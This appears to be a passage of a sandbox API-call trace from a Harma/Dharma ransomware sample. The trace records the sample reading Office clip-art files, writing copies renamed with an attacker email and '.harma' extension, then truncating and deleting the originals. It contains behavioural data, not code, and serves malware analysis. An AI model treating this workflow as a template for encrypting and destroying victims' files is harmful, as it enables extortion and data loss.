[0166.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0166.126] lstrlenW (lpString=".zip") returned 4 [0166.126] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.126] lstrlenW (lpString=".rar") returned 4 [0166.126] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.126] lstrlenW (lpString=".bz2") returned 4 [0166.126] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.126] lstrlenW (lpString=".7z") returned 3 [0166.126] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0166.126] lstrlenW (lpString=".dbf") returned 4 [0166.126] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0166.126] lstrlenW (lpString=".1cd") returned 4 [0166.126] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0166.126] lstrlenW (lpString=".jpg") returned 4 [0166.126] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0166.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0166.127] lstrlenW (lpString=".doc") returned 4 [0166.127] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.127] lstrlenW (lpString=".docx") returned 5 [0166.127] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0166.127] lstrlenW (lpString=".pdf") returned 4 [0166.127] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.127] lstrlenW (lpString=".xls") returned 4 [0166.127] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.127] lstrlenW (lpString=".xlsx") returned 5 [0166.127] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0166.127] lstrlenW (lpString=".ppt") returned 4 [0166.127] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0166.331] lstrlenW (lpString=".zip") returned 4 [0166.331] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.332] lstrlenW (lpString=".rar") returned 4 [0166.332] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.332] lstrlenW (lpString=".bz2") returned 4 [0166.332] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.332] lstrlenW (lpString=".7z") returned 3 [0166.332] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0166.332] lstrlenW (lpString=".dbf") returned 4 [0166.332] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0166.332] lstrlenW (lpString=".1cd") returned 4 [0166.332] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0166.332] lstrlenW (lpString=".jpg") returned 4 [0166.332] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.332] lstrcmpiW (lpString1=".BMP", lpString2=".harma") returned -1 [0166.332] lstrlenW (lpString="J0101856.BMP") returned 12 [0166.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.352] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=78840) returned 1 [0166.352] CloseHandle (hObject=0x364) returned 1 [0166.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 0x20 [0166.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.367] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.367] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.368] GetLastError () returned 0x0 [0166.368] ReadFile (in: hFile=0x364, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x133f8, lpOverlapped=0x0) returned 1 [0166.391] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x13400, lpOverlapped=0x0) returned 1 [0166.424] ReadFile (in: hFile=0x364, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0166.425] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.425] SetEndOfFile (hFile=0x3a4) returned 1 [0166.425] CloseHandle (hObject=0x3a4) returned 1 [0166.425] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.425] SetEndOfFile (hFile=0x364) returned 1 [0166.429] CloseHandle (hObject=0x364) returned 1 [0166.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0166.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0166.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0166.431] lstrlenW (lpString=".doc") returned 4 [0166.431] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.431] lstrlenW (lpString=".docx") returned 5 [0166.431] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0166.431] lstrlenW (lpString=".pdf") returned 4 [0166.431] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.432] lstrlenW (lpString=".xls") returned 4 [0166.432] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.432] lstrlenW (lpString=".xlsx") returned 5 [0166.432] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0166.432] lstrlenW (lpString=".ppt") returned 4 [0166.432] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0166.432] lstrlenW (lpString=".zip") returned 4 [0166.432] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.432] lstrlenW (lpString=".rar") returned 4 [0166.432] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.432] lstrlenW (lpString=".bz2") returned 4 [0166.432] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.432] lstrlenW (lpString=".7z") returned 3 [0166.432] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0166.432] lstrlenW (lpString=".dbf") returned 4 [0166.432] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0166.432] lstrlenW (lpString=".1cd") returned 4 [0166.432] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0166.432] lstrlenW (lpString=".jpg") returned 4 [0166.432] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0166.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0166.433] lstrlenW (lpString=".doc") returned 4 [0166.433] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.433] lstrlenW (lpString=".docx") returned 5 [0166.433] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0166.433] lstrlenW (lpString=".pdf") returned 4 [0166.433] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.433] lstrlenW (lpString=".xls") returned 4 [0166.433] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.433] lstrlenW (lpString=".xlsx") returned 5 [0166.433] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0166.433] lstrlenW (lpString=".ppt") returned 4 [0166.433] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0166.433] lstrlenW (lpString=".zip") returned 4 [0166.433] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.433] lstrlenW (lpString=".rar") returned 4 [0166.433] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.433] lstrlenW (lpString=".bz2") returned 4 [0166.433] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.434] lstrlenW (lpString=".7z") returned 3 [0166.434] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0166.434] lstrlenW (lpString=".dbf") returned 4 [0166.434] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0166.434] lstrlenW (lpString=".1cd") returned 4 [0166.434] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0166.434] lstrlenW (lpString=".jpg") returned 4 [0166.434] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.434] lstrcmpiW (lpString1=".BMP", lpString2=".harma") returned -1 [0166.434] lstrlenW (lpString="J0101863.BMP") returned 12 [0166.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.435] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=32184) returned 1 [0166.435] CloseHandle (hObject=0x364) returned 1 [0166.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 0x20 [0166.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.436] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.436] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.437] GetLastError () returned 0x0 [0166.437] ReadFile (in: hFile=0x364, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x7db8, lpOverlapped=0x0) returned 1 [0166.459] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0166.461] ReadFile (in: hFile=0x364, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0166.461] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.461] SetEndOfFile (hFile=0x3a4) returned 1 [0166.461] CloseHandle (hObject=0x3a4) returned 1 [0166.461] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.461] SetEndOfFile (hFile=0x364) returned 1 [0166.465] CloseHandle (hObject=0x364) returned 1 [0166.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0166.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0166.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0166.466] lstrlenW (lpString=".doc") returned 4 [0166.467] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.467] lstrlenW (lpString=".docx") returned 5 [0166.467] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0166.467] lstrlenW (lpString=".pdf") returned 4 [0166.467] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.467] lstrlenW (lpString=".xls") returned 4 [0166.467] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.467] lstrlenW (lpString=".xlsx") returned 5 [0166.467] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0166.467] lstrlenW (lpString=".ppt") returned 4 [0166.467] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0166.467] lstrlenW (lpString=".zip") returned 4 [0166.467] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.467] lstrlenW (lpString=".rar") returned 4 [0166.467] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.467] lstrlenW (lpString=".bz2") returned 4 [0166.467] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.467] lstrlenW (lpString=".7z") returned 3 [0166.467] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0166.467] lstrlenW (lpString=".dbf") returned 4 [0166.467] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0166.468] lstrlenW (lpString=".1cd") returned 4 [0166.468] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0166.468] lstrlenW (lpString=".jpg") returned 4 [0166.468] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0166.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0166.468] lstrlenW (lpString=".doc") returned 4 [0166.468] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.468] lstrlenW (lpString=".docx") returned 5 [0166.468] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0166.468] lstrlenW (lpString=".pdf") returned 4 [0166.468] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.468] lstrlenW (lpString=".xls") returned 4 [0166.468] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.468] lstrlenW (lpString=".xlsx") returned 5 [0166.468] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0166.468] lstrlenW (lpString=".ppt") returned 4 [0166.468] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0166.468] lstrlenW (lpString=".zip") returned 4 [0166.468] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.469] lstrlenW (lpString=".rar") returned 4 [0166.469] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.469] lstrlenW (lpString=".bz2") returned 4 [0166.469] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.469] lstrlenW (lpString=".7z") returned 3 [0166.469] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0166.469] lstrlenW (lpString=".dbf") returned 4 [0166.469] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0166.469] lstrlenW (lpString=".1cd") returned 4 [0166.469] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0166.469] lstrlenW (lpString=".jpg") returned 4 [0166.469] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.469] lstrcmpiW (lpString1=".BMP", lpString2=".harma") returned -1 [0166.469] lstrlenW (lpString="J0101865.BMP") returned 12 [0166.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.500] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=32184) returned 1 [0166.500] CloseHandle (hObject=0x364) returned 1 [0166.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 0x20 [0166.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.612] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.612] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0166.614] GetLastError () returned 0x0 [0166.614] ReadFile (in: hFile=0x378, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x7db8, lpOverlapped=0x0) returned 1 [0166.650] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0166.651] ReadFile (in: hFile=0x378, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0166.651] WriteFile (in: hFile=0x218, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.651] SetEndOfFile (hFile=0x218) returned 1 [0166.651] CloseHandle (hObject=0x218) returned 1 [0166.651] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.651] SetEndOfFile (hFile=0x378) returned 1 [0166.656] CloseHandle (hObject=0x378) returned 1 [0166.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0166.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0166.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0166.732] lstrlenW (lpString=".doc") returned 4 [0166.733] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.733] lstrlenW (lpString=".docx") returned 5 [0166.733] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0166.733] lstrlenW (lpString=".pdf") returned 4 [0166.733] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.733] lstrlenW (lpString=".xls") returned 4 [0166.733] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.733] lstrlenW (lpString=".xlsx") returned 5 [0166.733] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0166.733] lstrlenW (lpString=".ppt") returned 4 [0166.733] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0166.733] lstrlenW (lpString=".zip") returned 4 [0166.733] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.733] lstrlenW (lpString=".rar") returned 4 [0166.733] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.733] lstrlenW (lpString=".bz2") returned 4 [0166.733] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.733] lstrlenW (lpString=".7z") returned 3 [0166.733] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0166.733] lstrlenW (lpString=".dbf") returned 4 [0166.733] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.733] lstrlenW (lpString="C:\\Program 